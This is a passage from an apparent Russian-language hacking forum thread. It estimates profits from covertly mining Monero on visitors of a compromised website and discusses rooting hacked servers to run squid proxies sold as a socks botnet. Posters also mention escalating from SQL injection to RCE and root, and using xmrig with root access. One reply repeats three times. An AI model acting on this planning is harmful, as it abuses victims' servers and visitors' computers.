За день сайт с 10 000 посетителей создаст: 10 000 × 240 хешей = 2 400 000 хешей в день. Если сложность составляет 800 МH (миллионов хешей в секунду), то общая сложность сети — 800 000 000 H/s. Мощность сайта будет составлять примерно 0,3% от всей сети. Если за день майнинговая сеть генерирует 1 XMR, то на сайт с такой мощностью будет приходиться 0,003 XMR в день.

Допустим, текущая цена 1 Monero (XMR) составляет $150. Тогда доход с сайта в день составит: 0,003 XMR × $150 = $0,45 в день. Учтите, что 10 тысяч пользователей — это довольно высокая посещаемость, и код может быть быстро обнаружен.

Трям! Пока!

Вложения​

  • Screenshot_1.png
    Screenshot_1.png
    9 КБ · Просмотры: 51
 
r4cket3er сказал(а):
Ну и вариант ещё круче - попытаться добыть рут и установить squid, чтобы использовать сервер в качестве прокси. Западные коллеги нашептали, что этот вариант раз в 10 прибыльнее, чем майнинг.
Нажмите, чтобы раскрыть...
тоже слышал об этом, но очень сложно рут добыть, системы разные, где то убунту, где-то центос, дебиан и т.д., все версии разные, виртуализация разная, chroot попадается, крч бесконечно нюансов
вроде через лолбины можно рут добыть это так? думаю если в 10 раз прибыльнее можно попыхтеть, но кому по итогу этот сокс бот продавать? видел в этой теме одного пользователя тут, но сконектиться не получилось

upd, статья от мизерилорд топ как всегда, оч хотелось бы увидеть что-то связанно с раскручиванием от sqli до rce и от www-data до рут : )
 
r4cket3er сказал(а):
Ну и вариант ещё круче - попытаться добыть рут и установить squid, чтобы использовать сервер в качестве прокси. Западные коллеги нашептали, что этот вариант раз в 10 прибыльнее, чем майнинг.
Нажмите, чтобы раскрыть...
тоже слышал об этом, но очень сложно рут добыть, системы разные, где то убунту, где-то центос, дебиан и т.д., все версии разные, виртуализация разная, chroot попадается, крч бесконечно нюансов
вроде через лолбины можно рут добыть это так? думаю если в 10 раз прибыльнее можно попыхтеть, но кому по итогу этот сокс бот продавать? видел в этой теме одного пользователя тут, но сконектиться не получилось

upd, статья от мизерилорд топ как всегда, оч хотелось бы увидеть что-то связанно с раскручиванием от sqli до rce и от www-data до рут : )
 
r4cket3er сказал(а):
Ну и вариант ещё круче - попытаться добыть рут и установить squid, чтобы использовать сервер в качестве прокси. Западные коллеги нашептали, что этот вариант раз в 10 прибыльнее, чем майнинг.
Нажмите, чтобы раскрыть...
тоже слышал об этом, но очень сложно рут добыть, системы разные, где то убунту, где-то центос, дебиан и т.д., все версии разные, виртуализация разная, chroot попадается, крч бесконечно нюансов
вроде через лолбины можно рут добыть это так? думаю если в 10 раз прибыльнее можно попыхтеть, но кому по итогу этот сокс бот продавать? видел в этой теме одного пользователя тут, но сконектиться не получилось

upd, статья от мизерилорд топ как всегда, оч хотелось бы увидеть что-то связанно с раскручиванием от sqli до rce и от www-data до рут : )
 
tacobella сказал(а):
last time i tried this like a year or two it worked, is it still working?
Нажмите, чтобы раскрыть...
xmr mining working on every cpu, still (also there are cuda plugin for gpu mining, but cpu is more efficient anyways)
also xmrig supports a lot of different algos, you can mine different coins on different pools
but if you have root/admin access it's better for hashrate, also mining on host is better than in virtualization (like 99% of websites)
there are some pros and cons but it's still a thing
 
Top